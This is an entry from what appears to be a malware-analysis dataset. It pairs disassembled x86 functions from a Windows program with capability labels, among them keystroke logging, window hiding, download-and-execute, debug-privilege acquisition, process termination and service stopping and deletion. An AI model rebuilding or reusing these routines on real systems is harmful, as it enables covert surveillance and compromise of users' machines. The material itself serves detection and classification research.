joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b5898
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x20c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4b5af8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 1
jl 0x4b58fb
lea edx, [ebp - 0x20c]
mov eax, dword [ebp - 4]
call fcn.004b5360
mov eax, dword [ebp - 0x20c]
mov edx, ebx
call fcn.0040ddec
cmp al, 1
jne 0x4b58fb
dec ebx
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 4]
call fcn.004b5678
test al, al
je 0x4b5a87
cmp dword [ebp - 8], 0
jge 0x4b5919
xor eax, eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
inc ebx
lea edx, [ebp - 0x210]
mov eax, dword [ebp - 4]
call fcn.004b5360
mov eax, dword [ebp - 0x210]
call fcn.004049f4
cmp ebx, eax
jge 0x4b5963
lea edx, [ebp - 0x214]
mov eax, dword [ebp - 4]
call fcn.004b5360
mov eax, dword [ebp - 0x214]
mov al, byte [eax + ebx - 1]
mov edx, dword [0x524b1c]
and eax, 0xff
bt dword [edx], eax
jae 0x4b5963
inc ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x228]
cmp eax, dword [ebp - 8]
jg 0x4b5977
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
mov ecx, ebx
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004b5874
cmp ebx, dword [ebp - 8]
je 0x4b5a79
lea eax, [ebp - 0x108]
push eax
call sub.user32.dll_GetKeyboardState
mov edx, pe_nt_image_headers32
lea eax, [ebp - 0x208]
mov byte [eax], 0
inc eax
dec edx
jne 0x4b59a3
mov byte [ebp - 0x1f8], 0x81
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403a28
and eax, 0x7f
movzx eax, word [eax*2 + 0x51fd14]
mov byte [ebp + eax - 0x208], 0x81
lea eax, [ebp - 0x208]
push eax
call sub.user32.dll_SetKeyboardState
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 1
xor eax, eax
push ebp
push 0x4b5a66
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403a28
and eax, 0x7f
movzx eax, word [eax*2 + 0x51fd14]
push eax
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.00453174
push eax
call sub.user32.dll_SendMessageA
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403a28
and eax, 0x7f
movzx eax, word [eax*2 + 0x51fd14]
push eax
push 0x101
mov eax, dword [ebp - 4]
call fcn.00453174
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b5a6d
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 0
ret
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [eax + 0x230], edx
jmp 0x4b5ada
cmp dword [ebp - 8], 0
jge 0x4b5a92
xor eax, eax
mov dword [ebp - 8], eax
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 4]
call fcn.004b5360
mov eax, dword [ebp - 0x218]
call fcn.004049f4
cmp eax, dword [ebp - 8]
jg 0x4b5acc
lea edx, [ebp - 0x21c]
mov eax, dword [ebp - 4]
call fcn.004b5360
mov eax, dword [ebp - 0x21c]
call fcn.004049f4
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004b5874
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b5aff
lea eax, [ebp - 0x21c]
mov edx, 5
call fcn.00404758
ret
Function at 0x4cd260
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov bl, byte [0x4cd298]
push 0x10
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x4cd276
or bl, 1
push 0x11
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x4cd285
or bl, 4
push 0x12
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x4cd294
or bl, 2
mov eax, ebx
pop ebx
ret

Function at 0x4ce5a8
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x5247fc]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4ce5ce
push 0
mov eax, dword [0x5247fc]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_ShowWindow
ret
Function at 0x4cf398
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404be4
xor eax, eax
push ebp
push 0x4cf42b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.004031b8
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], 0
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x20
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404bf4
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x4cf40f
push 0x1388
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0xffffffff
jne 0x4cf413
xor ebx, ebx
jmp 0x4cf415
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cf432
lea eax, [ebp - 4]
call fcn.00404734
ret

Function at 0x4cf680
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404be4
mov eax, dword [ebp - 8]
call fcn.00404be4
xor eax, eax
push ebp
push 0x4cf718
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4cf6f1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.00404bf4
mov ebx, eax
push ebx
call sub.wininet.dll_DeleteUrlCacheEntry
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
call fcn.00404bf4
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete al
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4cf6fd
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cf71f
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404758
ret
Function at 0x4cf728
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], ecx
mov ebx, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
call fcn.00404be4
xor eax, eax
push ebp
push 0x4cf80d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00404734
push 0
push 0
lea eax, [ebp - 4]
call fcn.00406538
push eax
mov eax, dword [ebp - 8]
call fcn.00404bf4
push eax
push 0
call sub.URLMON.DLL_URLOpenBlockingStreamA
test eax, eax
jne 0x4cf7ea
push 1
lea eax, [ebp - 0x58]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x30]
test eax, eax
jne 0x4cf7e2
cmp dword [ebp - 0x4c], 0
jne 0x4cf79d
cmp dword [ebp - 0x50], 0
jbe 0x4cf7e2
jmp 0x4cf79f
jle 0x4cf7e2
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x46f018]
call fcn.0046f198
mov esi, eax
mov eax, dword [ebp - 0x50]
mov edx, eax
lea eax, [ebp - 0xc]
call fcn.00404d80
lea eax, [ebp - 0xc]
call fcn.00404c4c
mov edx, eax
mov ecx, dword [ebp - 0x50]
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, ebx
mov edx, dword [ebp - 0xc]
call fcn.00404788
mov eax, esi
call fcn.00403820
lea eax, [ebp - 4]
call fcn.00406538
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cf814
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404758
lea eax, [ebp - 4]
call fcn.00406538
ret

Function at 0x4d2b14
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4d2b5e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
push 0x20
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
mov cl, 1
mov edx, 0x4d2b7c
mov eax, dword [ebp - 8]
call fcn.004d2a58
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4d2b68
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x4d2ba4
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], edx
mov esi, eax
mov eax, dword [ebp - 8]
call fcn.00404be4
xor eax, eax
push ebp
push 0x4d2d0e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
lea eax, [ebp - 4]
call fcn.00406538
push eax
mov eax, dword [ebp - 8]
call fcn.00404bf4
push eax
push 0
call sub.URLMON.DLL_URLOpenBlockingStreamA
test eax, eax
jne 0x4d2ce3
push 1
lea eax, [ebp - 0x58]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x30]
test eax, eax
jne 0x4d2ce3
cmp dword [ebp - 0x4c], 0
jne 0x4d2c1e
cmp dword [ebp - 0x50], 0
jbe 0x4d2ce3
jmp 0x4d2c24
jle 0x4d2ce3
xor edx, edx
push ebp
push 0x4d2ccd
push dword fs:[edx]
mov dword fs:[edx], esp
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x46f018]
call fcn.0046f198
mov ebx, eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov edx, eax
lea eax, [ebp - 0xc]
call fcn.00404d80
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
push eax
lea eax, [ebp - 0xc]
call fcn.00404c4c
mov edx, eax
mov eax, ebx
pop ecx
call fcn.00420198
mov eax, esi
call fcn.004a1000
test al, al
je 0x4d2c7e
mov eax, esi
call fcn.004a0ec0
push 0
push 0
mov eax, ebx
call fcn.0041ff8c
mov ecx, dword [ebp - 0xc]
mov dl, 1
mov eax, dword [0x41b7b0]
call fcn.004207fc
mov edi, eax
mov edx, edi
mov eax, esi
call fcn.004aeee8
mov eax, edi
call fcn.00403820
mov eax, esi
call fcn.004a1000
test al, al
je 0x4d2cbc
mov byte [0x52606c], 1
mov eax, ebx
call fcn.00403820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4d2ce3
lea eax, [ebp - 4]
call fcn.00406538
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d2d15
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404758
lea eax, [ebp - 4]
call fcn.00406538
ret

Function at 0x4d3204
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffecc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404be4
xor eax, eax
push ebp
push 0x4d32f8
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004d2d1c
mov byte [ebp - 5], 0
xor edx, edx
mov eax, 2
call fcn.004ce90c
mov esi, eax
test esi, esi
jbe 0x4d32d7
mov dword [ebp - 0x12d], 0x128
lea edx, [ebp - 0x12d]
mov eax, esi
call fcn.004ce92c
cmp eax, 1
sbb ebx, ebx
inc ebx
jmp 0x4d32cd
lea eax, [ebp - 0x134]
lea edx, [ebp - 0x109]
mov ecx, 0x104
call fcn.004049a4
mov eax, dword [ebp - 0x134]
mov edx, dword [ebp - 4]
call fcn.00404b40
jne 0x4d32ba
mov eax, dword [ebp - 0x125]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov edi, eax
push 0
push edi
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
jmp 0x4d32d1
lea edx, [ebp - 0x12d]
mov eax, esi
call fcn.004ce94c
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
jne 0x4d326f
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d32ff
lea eax, [ebp - 0x134]
call fcn.00404734
lea eax, [ebp - 4]
call fcn.00404734
ret
Function at 0x4d330c
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404be4
xor eax, eax
push ebp
push 0x4d33c6
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4d33a6
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov ebx, eax
test ebx, ebx
jne 0x4d335b
mov byte [ebp - 5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4d33b0
push 0x20
mov eax, dword [ebp - 4]
call fcn.00404bf4
push eax
push ebx
call sub.advapi32.dll_OpenServiceA
mov esi, eax
test esi, esi
je 0x4d3392
mov byte [ebp - 5], 1
lea eax, [ebp - 0x24]
push eax
push 1
push esi
call sub.advapi32.dll_ControlService
test eax, eax
jne 0x4d338a
mov byte [ebp - 5], 1
push esi
call sub.advapi32.dll_CloseServiceHandle
jmp 0x4d3396
mov byte [ebp - 5], 0
push ebx
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4d33b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d33cd
lea eax, [ebp - 4]
call fcn.00404734
ret

Function at 0x4d3794
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404be4
xor eax, eax
push ebp
push 0x4d383b
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
xor eax, eax
push ebp
push 0x4d381b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov ebx, eax
test ebx, ebx
jbe 0x4d3811
push 0xf01ff
mov eax, dword [ebp - 4]
call fcn.00404bf4
push eax
push ebx
call sub.advapi32.dll_OpenServiceA
mov esi, eax
test esi, esi
jle 0x4d380b
push esi
call sub.advapi32.dll_DeleteService
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
push esi
call sub.advapi32.dll_CloseServiceHandle
push ebx
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4d3825
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d3842
lea eax, [ebp - 4]
call fcn.00404734
ret

Function at 0x4d3b7c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xffffffb8
mov dword [esp], eax
mov eax, dword [0x5248f8]
cmp byte [eax], 0
je 0x4d3bdb
mov eax, dword [0x5243dc]
call fcn.00403008
call fcn.00402cb0
push 0
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 8]
call fcn.00409c74
push eax
lea eax, [esp + 0xc]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 8]
push eax
push 2
push 0x4d3c20
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x4d3c11
push 0x40
lea eax, [esp + 0xc]
push eax
mov eax, dword [0x524330]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x525668]
call fcn.00405ec0
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 8]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x48
ret
Function at 0x4d6144
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
push 0x200
lea eax, [ebp - 0x200]
push eax
push 0x1001
mov edx, dword [ebx + 4]
push edx
call sub.kernel32.dll_GetLocaleInfoA_1
push 0x520513
lea ecx, [ebp - 0x200]
push ecx
call fcn.004d3d2c
add esp, 8
lea eax, [ebp - 0x200]
push eax
call fcn.004d3cec
pop ecx
mov edx, 0x200
sub edx, eax
push edx
lea ecx, [ebp - 0x200]
push ecx
call fcn.004d3cec
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
push 0x1002
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
push 0x520515
lea ecx, [ebp - 0x200]
push ecx
call fcn.004d3d2c
add esp, 8
push 0xa
lea eax, [ebp - 0x200]
push eax
call fcn.004d3cec
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
mov ecx, dword [ebx]
push ecx
call fcn.004d7c5c
add esp, 0xc
cmp dword [ebx + 0x24], 0
jne 0x4d6255
push esi
call fcn.004d3cec
pop ecx
mov edi, eax
lea eax, [ebp - 0x200]
push eax
call fcn.004d3cec
pop ecx
add edi, eax
add edi, 3
push edi
call fcn.004d3c24
pop ecx
mov edi, eax
mov dword [ebx + 0x24], edi
test edi, edi
jne 0x4d622c
xor eax, eax
jmp 0x4d62dc
push esi
call fcn.004d3cec
pop ecx
push eax
lea edx, [ebp - 0x200]
push edx
call fcn.004d3cec
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push 0
push edi
call fcn.004d3cb8
add esp, 0xc
jmp 0x4d6295
mov edi, dword [ebx + 0x24]
push edi
call fcn.004d3cec
pop ecx
push eax
push esi
call fcn.004d3cec
pop ecx
pop edx
add edx, eax
push edx
lea eax, [ebp - 0x200]
push eax
call fcn.004d3cec
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push edi
call fcn.004d3c60
add esp, 8
mov dword [ebx + 0x24], eax
cmp dword [ebx + 0x24], 0
jne 0x4d6295
xor eax, eax
jmp 0x4d62dc
push esi
mov edx, dword [ebx + 0x24]
push edx
call fcn.004d3d2c
add esp, 8
push 0x520517
mov ecx, dword [ebx + 0x24]
push ecx
call fcn.004d3d2c
add esp, 8
lea eax, [ebp - 0x200]
push eax
mov edx, dword [ebx + 0x24]
push edx
call fcn.004d3d2c
add esp, 8
push 0x520519
mov ecx, dword [ebx + 0x24]
push ecx
call fcn.004d3d2c
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4d8d1c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
lea edx, [ebp - 8]
push edx
lea ecx, [ebp - 4]
push ecx
push 0
push 0x4001f
push 0
push 0
push 0
push eax
push 0x80000000
call sub.advapi32.dll_RegCreateKeyExA
mov ebx, eax
test ebx, ebx
jne 0x4d8d70
push esi
call fcn.004d3cec
pop ecx
inc eax
push eax
push esi
push 1
push 0
push edi
push dword [ebp - 4]
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x50636c
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x50639a
mov eax, ebx
call fcn.00506e20
cmp dword [ebx + 0x40], 0
je 0x506393
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x50640b
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x5063fd
cmp dword [ebx + 8], 0
je 0x5063bc
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x5063ce
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x5063fd
cmp dword [ebx + 8], 0
je 0x5063af
cmp eax, 3
je 0x5063e1
dec eax
jne 0x5063af
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x5063af
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x5063af
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x506429
cmp dword [ebx + 0x14], 0xcc
je 0x506429
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00506434
pop ebx
ret

Function at 0x51a118
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x51a216
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x51a1f1
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x14]
mov eax, dword [0x5247fc]
mov eax, dword [eax]
call fcn.0046cfac
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.00409b04
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 8]
mov ecx, 0x51a230
call fcn.00404a40
mov eax, dword [ebp - 8]
call fcn.00409a54
test al, al
je 0x51a19e
push 0
push 0x51a23c
push 0x51a23c
mov eax, dword [ebp - 8]
call fcn.00404bf4
push eax
push 0x51a240
push 0
call sub.shell32.dll_ShellExecuteA
mov byte [ebp - 1], 1
jmp 0x51a1e7
mov edx, dword [0x5242a4]
mov edx, dword [edx]
lea eax, [ebp - 0xc]
mov ecx, 0x51a230
call fcn.00404a40
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call fcn.004cf680
test al, al
je 0x51a1e7
push 0
push 0x51a23c
push 0x51a23c
mov eax, dword [ebp - 8]
call fcn.00404bf4
push eax
push 0x51a240
push 0
call sub.shell32.dll_ShellExecuteA
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x51a1fb
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51a21d
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404758
ret
Function at 0x51b4c8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x51b61c
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x51b5f7
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [0x5242a4]
mov edx, dword [edx]
lea eax, [ebp - 8]
mov ecx, 0x51b634
call fcn.00404a40
lea edx, [ebp - 0x18]
mov eax, dword [0x5247fc]
mov eax, dword [eax]
call fcn.0046cfac
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.00409b04
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov ecx, 0x51b64c
call fcn.00404a40
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
call fcn.004cf680
test al, al
jne 0x51b54f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x51b601
lea edx, [ebp - 0x20]
mov eax, dword [0x5247fc]
mov eax, dword [eax]
call fcn.0046cfac
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x1c]
call fcn.00409b04
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 4]
mov ecx, 0x51b668
call fcn.00404a40
mov eax, dword [ebp - 4]
call fcn.00409a54
test al, al
je 0x51b5a8
push 1
push 0x51b67c
push 0x51b67c
mov eax, dword [ebp - 4]
call fcn.00404bf4
push eax
push 0x51b680
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x51b5ed
mov edx, dword [0x5242a4]
mov edx, dword [edx]
lea eax, [ebp - 0x10]
mov ecx, 0x51b668
call fcn.00404a40
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.004cf680
test al, al
je 0x51b5ed
push 1
push 0x51b67c
push 0x51b67c
mov eax, dword [ebp - 4]
call fcn.00404bf4
push eax
push 0x51b680
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x51b601
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51b623
lea eax, [ebp - 0x20]
mov edx, 8
call fcn.00404758
ret
Function at 0x51c5f4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x51c7ac
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x51c787
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x10]
mov eax, dword [0x5247fc]
mov eax, dword [eax]
call fcn.0046cfac
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
call fcn.00409b04
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 4]
mov ecx, 0x51c7c4
call fcn.00404a40
mov eax, dword [ebp - 4]
call fcn.00409a54
test al, al
je 0x51c688
mov eax, 0x51c7dc
call fcn.004d330c
push 1
push 0x51c7ec
push 0x51c7ec
mov eax, dword [ebp - 4]
call fcn.00404bf4
push eax
push 0x51c7f0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x51c75a
mov edx, dword [0x5242a4]
mov edx, dword [edx]
lea eax, [ebp - 8]
mov ecx, 0x51c800
call fcn.00404a40
lea edx, [ebp - 0x18]
mov eax, dword [0x5247fc]
mov eax, dword [eax]
call fcn.0046cfac
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.00409b04
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 4]
mov ecx, 0x51c800
call fcn.00404a40
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.004cf680
test al, al
je 0x51c75a
mov edx, dword [0x5242a4]
mov edx, dword [edx]
lea eax, [ebp - 8]
mov ecx, 0x51c7c4
call fcn.00404a40
lea edx, [ebp - 0x20]
mov eax, dword [0x5247fc]
mov eax, dword [eax]
call fcn.0046cfac
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x1c]
call fcn.00409b04
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 4]
mov ecx, 0x51c7c4
call fcn.00404a40
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.004cf680
test al, al
je 0x51c75a
push 0x64
call sub.kernel32.dll_Sleep_1
mov eax, 0x51c7dc
call fcn.004d330c
push 1
push 0x51c7ec
push 0x51c7ec
mov eax, dword [ebp - 4]
call fcn.00404bf4
push eax
push 0x51c7f0
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [0x52463c]
mov eax, dword [eax]
mov edx, 0x51c818
call fcn.00404b40
jne 0x51c77d
mov eax, dword [ebx + 0x33c]
mov edx, 0x51c824
call fcn.00503284
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x51c791
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51c7b3
lea eax, [ebp - 0x20]
mov edx, 8
call fcn.00404758
ret